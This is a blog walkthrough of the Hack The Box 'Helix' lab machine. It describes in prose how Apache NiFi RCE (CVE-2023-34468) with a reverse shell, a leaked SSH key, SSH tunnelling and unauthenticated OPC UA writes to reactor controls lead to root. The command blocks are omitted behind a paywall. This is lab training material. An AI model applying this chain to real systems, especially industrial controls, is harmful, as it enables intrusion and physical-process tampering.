Welcome to another Hack the Box walkthrough. In this blog post, I have demonstrated how I owned the Helix machine on Hack the Box. Hack The Box is a cybersecurity platform that helps you bridge knowledge gaps and prepares you for cyber security jobs.
About the Machine
Helix is a medium difficulty Linux machine on Hack The Box that focuses on modern industrial control system exploitation, combining web enumeration, Apache NiFi abuse, credential harvesting, SSH pivoting, OPC UA manipulation, and privilege escalation through an industrial maintenance console. The machine demonstrates how insecure industrial automation environments and exposed management platforms can be chained together to achieve full system compromise.
The attack chain started with Nmap enumeration, which revealed SSH running on port 22 and an HTTP service hosted on port 80. After performing host configuration by updating the /etc/hosts file, the helix.htb domain became accessible. Initial web enumeration exposed a professional industrial automation portal for Helix Industries, but no obvious attack surface was immediately visible, prompting deeper enumeration efforts.
During subdomain enumeration using virtual host fuzzing, a new subdomain named flow.helix.htb was discovered. Accessing the subdomain revealed an Apache NiFi instance used for industrial data flow automation and process orchestration. Further Apache NiFi enumeration through the interface’s About section identified the application as running Apache NiFi version 1.21.0.
Version-based vulnerability research led to the discovery of CVE-2023-34468, a known remote code execution vulnerability affecting vulnerable Apache NiFi deployments through abuse of the embedded H2 database functionality. After preparing the public proof-of-concept exploit and configuring a Netcat listener, the vulnerability was successfully exploited to achieve initial access as the nifi user through Apache NiFi remote code execution.
Once access was obtained, post-exploitation enumeration of the NiFi installation directories revealed a support-bundles folder containing a backup SSH private key file named operator_id_ed25519.bak. During credential enumeration, the exposed OpenSSH private key was extracted and prepared locally by creating an id_rsa file and applying proper file permissions. The recovered key allowed successful SSH authentication as the operator user, leading to stable shell access and capture of the user flag.
Privilege escalation enumeration revealed that the operator user could execute a custom binary named /usr/local/sbin/helix-maint-console with sudo privileges and without requiring a password. Further internal service enumeration identified multiple services listening exclusively on localhost, including ports 8080, 8081, and 4840. To investigate the restricted services, SSH port forwarding was configured to expose the internal application running on port 8081 to the attacker machine.
Internal web application enumeration of the forwarded service exposed a Reactor HMI industrial monitoring dashboard displaying operational reactor controls and references to an internal OPC UA service listening on 127.0.0.1:4840. Further sudo privilege enumeration and maintenance console testing revealed that privileged access depended on a specific “maintenance window” condition tied to the industrial control environment.
To manipulate the reactor state, OPC UA tooling setup was performed by creating a Python virtual environment and installing the opcua package. Using the uawrite utility, several OPC UA nodes were modified during OPC UA manipulation, including switching the reactor mode to MAINTENANCE, enabling maintenance override flags, and adjusting reactor calibration values. The OPC UA server accepted unauthenticated write requests, allowing direct modification of critical industrial control values.
After modifying the reactor state, the maintenance console was executed again and successfully granted privileged maintenance access. This resulted in full root privilege escalation and an interactive root shell on the target system. Finally, navigating to the root user’s home directory allowed retrieval of the root flag, completing the machine.
Overall, Helix is an excellent machine that demonstrates the dangers of insecure industrial control systems, exposed automation infrastructure, and weak operational security practices. The challenge effectively combines Apache NiFi exploitation, SSH credential exposure, OPC UA protocol abuse, industrial HMI interaction, SSH tunneling, and maintenance console privilege escalation into a realistic operational technology attack chain.
Protected Page
The first step in owning the Helix machine like I have always done in my previous writeups is to connect my Kali Linux terminal with Hack the Box server. To establish this connection, I ran the following command in the terminal:
Once the connection between my Kali Linux terminal and Hack the Box server has been established, I started the Helix machine and I was assigned an IP address (10.129.6.214).
Nmap Enumeration
I started the enumeration phase by running an aggressive Nmap scan against the target to identify open ports, running services, service versions, and possible operating system information. This helped me understand the initial attack surface exposed by the machine.
The scan revealed two open ports: SSH on port 22 running OpenSSH 8.9p1, and an HTTP service on port 80 powered by nginx 1.18.0 on Ubuntu. The web server title identified the target as Helix Industries, suggesting an industrial automation themed environment that would likely become the primary attack vector. Nmap OS fingerprinting further confirmed the target was running a Linux-based operating system, while the traceroute showed the host was reachable within two network hops. Since only SSH and HTTP were exposed, I shifted my focus toward web enumeration to look for hidden directories, virtual hosts, and potential vulnerabilities in the web application.
Host Configuration
After identifying the web service during enumeration, I configured my local /etc/hosts file so the target domain could properly resolve in the browser. This is a common step in Hack The Box machines, especially when the application relies on virtual host routing.
I authenticated with sudo privileges and appended the target IP address together with the helix.htb hostname into the hosts file. This ensured that requests sent to http://helix.htb would correctly resolve to the target machine instead of failing through DNS resolution. With the hostname configured successfully, I proceeded to interact with the web application directly through the browser for further enumeration.
Web Enumeration
After configuring the hostname, I visited the target IP address in the browser and observed that the application automatically redirected me to http://helix.htb. The website appeared to be a professional industrial operations platform for Helix Industries, exposing several navigation options and corporate-themed content.
At this stage, I carefully enumerated the homepage, navigation menus, and visible content, but I could not identify any obvious vulnerabilities, login panels, or sensitive information exposed through the frontend. The page appeared mostly static and did not immediately reveal a clear attack vector.
Since the landing page did not immediately reveal any sensitive information, hidden endpoints, or obvious vulnerabilities, I decided to continue with deeper web enumeration and fuzzing to discover additional directories, files, subdomains, or hidden functionality that might not be accessible through the main interface.
The redirect behavior confirmed that the application relied on virtual host configuration, validating the earlier /etc/hosts modification. With no immediate attack surface exposed on the homepage, fuzzing became the next logical step to uncover hidden content and expand the enumeration process.
Subdomain Enumeration
Since the main website did not expose any obvious vulnerabilities, I proceeded with virtual host fuzzing to discover hidden subdomains configured on the target web server. This technique is useful when applications host additional services that are not directly linked from the primary website.
During the fuzzing process, I discovered a valid subdomain named flow.helix.htb, which returned a 200 OK response instead of the default filtered responses. The result immediately stood out from the baseline responses, indicating that an additional web application or service was hosted on the target. This gave me a new attack surface to investigate further, so I shifted my focus toward enumerating the newly discovered flow.helix.htb application.
Host Configuration
After discovering the flow.helix.htb virtual host during fuzzing, I updated my local hosts file again so the newly identified subdomain could properly resolve in the browser. This allowed me to interact directly with the hidden application hosted on the target.
I authenticated with sudo privileges and appended the flow.helix.htb hostname to /etc/hosts. With the hostname successfully mapped to the target IP address, I was able to access the new subdomain directly through the browser and continue enumerating the additional web application exposed by the server.
Web Enumeration
After accessing the newly discovered flow.helix.htb subdomain, I identified the application as Apache NiFi, a web-based platform commonly used for automating and managing data flows between systems. The interface exposed a graphical workflow environment containing processors and flow management components.
While enumerating the platform, I observed several NiFi processors such as ExecuteSQL and LogAttribute, indicating that the application interacted with backend databases and automated processing pipelines. Since Apache NiFi has historically suffered from authentication misconfigurations and remote code execution vulnerabilities, the exposed instance immediately became a high-value target for further enumeration and exploitation attempts.
Apache NiFi Enumeration
While exploring the Apache NiFi interface, I opened the hamburger menu and navigated to the About section to gather additional information about the running instance. This is a useful reconnaissance step because identifying the exact software version can help uncover known vulnerabilities and public exploits.
The About page revealed that the target was running Apache NiFi version 1.21.0. Knowing the exact version significantly narrowed the attack surface and allowed me to begin researching publicly disclosed vulnerabilities associated with that release. Since NiFi has a history of authentication bypass and remote code execution flaws, version enumeration became an important step toward identifying a potential exploitation path.
Vulnerability Research
After identifying the target as Apache NiFi 1.21.0, I began researching publicly disclosed vulnerabilities affecting that version. Version-specific enumeration is important during CTF engagements because it can quickly reveal known attack paths and proof-of-concept exploits.
During my research, I discovered CVE-2023-34468, a remote code execution vulnerability affecting Apache NiFi <= 1.21.0. The vulnerability abuses the embedded H2 database functionality through the RUNSCRIPT feature, allowing arbitrary command execution on the underlying server. A public proof-of-concept demonstrated how attackers could leverage NiFi processors such as ExecuteSQL together with malicious H2 queries to achieve remote code execution, making this a promising exploitation path against the target environment.
Exploit Preparation
After confirming that the target version was vulnerable to CVE-2023-34468, I downloaded a public proof-of-concept exploit from GitHub to better understand the attack flow and prepare for exploitation. Using publicly available PoCs during CTF engagements can significantly speed up the exploitation process once the vulnerability has been validated.
After cloning the repository, I navigated into the project directory and confirmed that it contained the Python exploit script together with a README file explaining the exploitation process. With the exploit resources prepared locally, I was ready to analyze the PoC and begin testing the vulnerability against the target Apache NiFi instance.
Initial Access - Apache NiFi RCE
After preparing the exploit, I first configured a Netcat listener on my attacking machine to receive the incoming reverse shell connection from the target. This would allow me to confirm successful remote code execution once the exploit was triggered.
I then executed the CVE-2023-34468 proof-of-concept exploit against the vulnerable Apache NiFi instance. The exploit successfully identified that anonymous access was enabled and that the current user had write permissions within the NiFi environment, making the target directly exploitable.
A few seconds later, the reverse shell connected back to my listener, granting me command execution on the target as the nifi user. This confirmed successful exploitation of the Apache NiFi 1.21.0 instance through the H2 RUNSCRIPT remote code execution vulnerability.
Post-Exploitation Enumeration
After gaining initial access as the nifi user, I began enumerating the Apache NiFi installation directory to better understand the environment and identify sensitive files, configurations, or potential privilege escalation paths. Enumerating application directories after obtaining a shell is important because they often contain credentials and deployment-specific information.
I noticed another nested nifi-1.21.0 directory and continued exploring it to determine whether it contained additional configuration files or duplicated runtime data related to the service deployment.
The directory structure confirmed a full Apache NiFi installation with accessible configuration, log, and repository directories, making it a valuable area for credential harvesting and further privilege escalation enumeration.
Credential Enumeration
While enumerating the NiFi installation directories, I explored the support-bundles folder to look for backups, archived logs, or accidentally exposed sensitive files. Misconfigured support and backup directories frequently contain credentials or private keys that can be reused for lateral movement or privilege escalation.
I discovered a file named operator_id_ed25519.bak, which immediately appeared suspicious because it resembled a backup copy of an SSH private key. I opened the file to inspect its contents.
The file contained a valid OpenSSH private key associated with root@management, indicating that sensitive SSH credentials had been unintentionally exposed inside the NiFi environment. This discovery presented a potential path for lateral movement or direct SSH access to a more privileged account on the target system.
SSH Key Preparation
After discovering the exposed OpenSSH private key, I copied the key contents into a local file named id_rsa on my attacking machine. Preparing the key locally would allow me to attempt SSH authentication against the target using key-based access instead of a password.
After saving the key, I verified the file contents to ensure the private key had been copied correctly and was properly formatted.
I then restricted the file permissions using chmod 600, since OpenSSH refuses to use private keys that are accessible by other users. With the key prepared correctly, I was ready to test SSH authentication against the target system.
SSH Authentication
After preparing the private key, I attempted to authenticate to the target over SSH using the recovered credentials. Since the key appeared to belong to an operator account, this was a strong indication that it could provide a more stable and interactive shell than the initial NiFi reverse shell.
During the connection process, I accepted the target host fingerprint and successfully authenticated as the operator user without requiring a password. The login banner confirmed that the target was running Ubuntu 22.04.5 LTS on a Linux 5.15 kernel.
This provided a fully interactive SSH session as operator, allowing me to continue post-exploitation enumeration from a more privileged and reliable user context on the target system.
User Flag
After obtaining SSH access as the operator user, I enumerated the contents of the home directory to identify useful files and confirm whether user-level access had been fully achieved. The directory contained several operational documents along with the user flag.
I then opened the user.txt file to capture the user flag, confirming successful compromise of the user account on the target system.
At this stage, I had stable SSH access as operator and successfully captured the user flag. With user-level access established, I shifted my focus toward privilege escalation and deeper system enumeration to obtain root access on the machine.
Privilege Escalation Enumeration
After capturing the user flag, I began privilege escalation enumeration by checking the current user's sudo permissions. This is a standard post-exploitation step because misconfigured sudo rules can often provide direct paths to root access.
The output revealed that the operator user could execute /usr/local/sbin/helix-maint-console as root without requiring a password. This immediately became the primary privilege escalation vector, since custom administrative binaries and maintenance scripts frequently contain insecure functionality or command execution flaws that can be abused to gain full root access on the system.
Internal Service Enumeration
While investigating possible privilege escalation paths, I enumerated listening network services on the target to identify locally exposed applications that might not be accessible externally. Internal-only services often expose administrative interfaces or backend applications useful for further exploitation.
The output revealed several services bound exclusively to 127.0.0.1, including ports 8080, 8081, and 4840, indicating that additional internal applications were running locally on the machine. Since these services were inaccessible externally, they became strong candidates for local enumeration, port forwarding, or interaction through the privileged maintenance console identified earlier. This suggested that the target environment likely contained hidden administrative functionality accessible only from the local host.
SSH Port Forwarding
After identifying several services bound to 127.0.0.1, I used SSH local port forwarding to access the internal web service listening on port 8081. This technique allowed me to securely tunnel the remote service to my local machine for browser-based enumeration.
I authenticated successfully as the operator user while simultaneously forwarding local port 8081 on my machine to the internal 127.0.0.1:8081 service running on the target. The successful SSH session confirmed that the tunnel was active and ready for interaction.
With the port forwarding established, I could now access the previously restricted internal service directly from my browser through http://127.0.0.1:8081, enabling deeper enumeration of the hidden administrative application.
Internal Web Application Enumeration
After establishing the SSH tunnel, I opened my browser and navigated to the locally forwarded service on port 8081. Accessing the application through the tunnel allowed me to interact with an internal web interface that was previously inaccessible from the outside network.
The application exposed a Helix Industries Reactor HMI dashboard, which appeared to be an industrial and IoT monitoring interface used for supervising reactor operations and safety controls. While enumerating the panel, I observed real-time reactor metrics such as temperature, pressure, emergency cooling status, and maintenance controls. The interface also referenced an internal OPC UA service running on 127.0.0.1:4840, suggesting that the system relied on industrial communication protocols commonly used in SCADA and operational technology environments.
Sudo Privilege Enumeration
After enumerating the internal monitoring interface, I revisited the current user's sudo privileges to further investigate possible privilege escalation paths. Rechecking sudo access became important because the industrial maintenance interface strongly suggested the presence of administrative tooling on the system.
The output confirmed that the operator user could execute the custom binary /usr/local/sbin/helix-maint-console as root without supplying a password. Since custom maintenance utilities often interact directly with backend services and industrial controllers, this binary became the primary focus for privilege escalation analysis and potential root compromise.
Maintenance Console Enumeration
After identifying the custom maintenance utility in the sudo configuration, I executed the binary to understand its behavior and determine whether it could be abused for privilege escalation. Since the binary ran with root privileges, even minor functionality flaws could potentially lead to full system compromise.
The application responded with Maintenance window CLOSED, indicating that access to privileged maintenance functionality was restricted by certain operational or environmental conditions. This message strongly correlated with the earlier Reactor HMI dashboard, which referenced a “Privileged Maintenance Window” controlled by reactor safety conditions. At this stage, it became clear that privilege escalation would likely require manipulating the industrial control environment or triggering the maintenance state before the console could expose additional functionality.
OPC UA Tooling Setup
After discovering the internal OPC UA service referenced by the Reactor HMI dashboard, I prepared my attacking environment to interact with industrial control protocols directly. Since OPC UA is commonly used in SCADA and industrial automation systems, I installed a Python OPC UA toolkit to communicate with the backend controller.
I then installed the opcua Python package inside the virtual environment, which provides utilities for interacting with OPC UA servers and industrial devices.
After the installation completed successfully, I verified that the uawrite utility was available locally. This tool would later allow me to modify values exposed by the industrial control system and potentially manipulate the reactor state required to open the privileged maintenance window.
OPC UA Manipulation
After preparing the OPC UA tooling, I began interacting directly with the internal industrial control server exposed on opc.tcp://127.0.0.1:4840/helix/. My goal was to manipulate reactor control values and trigger the privileged maintenance condition referenced by both the HMI dashboard and the maintenance console.
First, I changed the reactor mode to MAINTENANCE by writing a new value to the corresponding OPC UA node.
Next, I enabled the maintenance override condition by setting the associated boolean node to True.
Finally, I modified the reactor calibration value by writing a floating-point value to another OPC UA node, helping push the system into the hazardous maintenance threshold required to unlock privileged functionality.
The commands executed successfully despite warnings about disabled cryptographic support, confirming that the OPC UA server accepted unauthenticated write operations. This effectively allowed me to manipulate the industrial control environment and prepare the system for privileged maintenance access.
Root Privilege Escalation
After manipulating the OPC UA reactor control values, I executed the privileged maintenance console again to determine whether the maintenance window restrictions had been bypassed. Since the industrial control state had been modified successfully, I expected the application to unlock elevated functionality.
This time, the maintenance console granted privileged access and immediately spawned a root shell on the system. The output confirmed that the earlier OPC UA modifications successfully triggered the maintenance condition required by the application. By abusing insecure industrial control configurations together with a misconfigured root maintenance utility, I was able to escalate privileges fully and gain root access on the target machine.
Root Flag
After obtaining the root shell through the maintenance console, I verified my access by enumerating the current directory and navigating to the root user’s home directory. This confirmed that the privilege escalation was fully successful and unrestricted.
I then opened the root.txt file to capture the final flag and complete the machine.
With the root flag captured, the machine was fully compromised. The attack chain combined Apache NiFi remote code execution, credential exposure through backup artifacts, SSH key reuse, OPC UA industrial protocol manipulation, and abuse of a root maintenance console tied to reactor maintenance conditions.
If you enjoy reading my write-ups, please consider subscribing to my YouTube channel and following me on LinkedIn | Medium | Twitter | Boltech Twitter | Buy Me a Coffee. Found this walkthrough helpful? Buying me a coffee helps power the late nights spent writing technical walkthroughs and keeping them free for everyone ☕
Keywords:
helix htb
helix hackthebox
helix htb writeup
Helix Hack the Box Write Up
Helix Hack the Box Walkthrough
flow.helix.htb
helix.htb HTB Machine Season 10 Hack the Box
HackTheBox Season 11 Helix HTB Machine
hackthebox helix.htb writeup
pingpong.htb
pingpong HackTheBox
pingpong htb writeup
pingpong htb walkthrough
helix htb machine user flag hack the box season 10
helix htb machine Hack the Box root flag Season 10
pingpong hack the box writeup
pingpong hack the box walkthrough
logging.htb machine Season 10
pingpong machine user flag hack the box season 10 solution
logging HackTheBox
Logging HTB Writeup
Logging HTB Walkthrough
Logging Hack the Box Write Up
Logging Hack the Box Walkthrough
Logging User Flag Hack the Season Complete Solution HTB
Logging HTB Flag Flag Hack the Season Complete Solution
NanoCorp HTB
NanoCorp HTB Write Up
NanoCorp HTB Walkthrough
HackTheBox Helix HTB Write Up Machine Season 10 Walkthrough
Mastering Helix: Beginner's Guide from Hack the Box
CTF Walkthroughs
Helix HTB - HackTheBox Walkthrough
Helix-HTB GitHub
Helix HTB - Step-by-step Writeup Explanation
helix.htb walkthrough guide
Hack The Box - HTB Helix Writeup - Medium - Weekly
helix.htb walkthrough youtube
HTB-Helix WriteUp
helix.htb walkthrough pdf
Helix Machine | HackTheBox - htb-writeup
helix.htb walkthrough checklist
Hack The Box Machines!! | HTB Walkthroughs
Rooted Helix from Hack the Box
HacktheBox Write up - Helix. HTB Walkthrough/Answers
Pwned Helix from Hack the Box
Hack The Box - Helix Writeup
I just solved Helix from Hack the Box
Rooted PingPong from Hack the Box
Pwned PingPong from Hack the Box
Owned PingPong from Hack the Box
Owned Helix from Hack the Box
Helix HTB Complete Writeup
GitHub - HTB-Challenges-Walkthroughs: Helix
HackTheBox - Machine - Helix
HackTheBox - Machine - Pirate
HackTheBox - Machine - Interpreter
HackTheBox - Machine - WingData
HackTheBox - Machine - Pterodactyl
HackTheBox - Machine - Facts
HackTheBox - Machine - Overwatch
HackTheBox - Machine - AirTouch
HackTheBox - Machine - Hercules
HackTheBox - Machine - NanoCorp
HackTheBox - Machine - Cobblestone
HackTheBox - Machine - Silentium
HackTheBox - Machine - Logging
HackTheBox - Machine - PingPong
HackTheBox - Machine - SmartHire
HackTheBox - Machine - Reactor
HackTheBox - Machine - Garfield
HackTheBox - Machine - DevArea
HackTheBox - Machine - Kobold
HackTheBox - Machine - VariaType
HackTheBox - Machine - CCTV
HackTheBox - Machine - Eloquia
1 Comments
To current members, the password to access this encrypted page and other pages has been sent to your email address. If you haven't received it yet, reach out to me at isiaqibrahim.tr@gmail.com
ReplyDeleteNote: This write up includes the complete code blocks and commands. The password for each write up is different. I have sent the password to your inbox on Buy Me A Coffee.
Happy Hacking!!!😈😈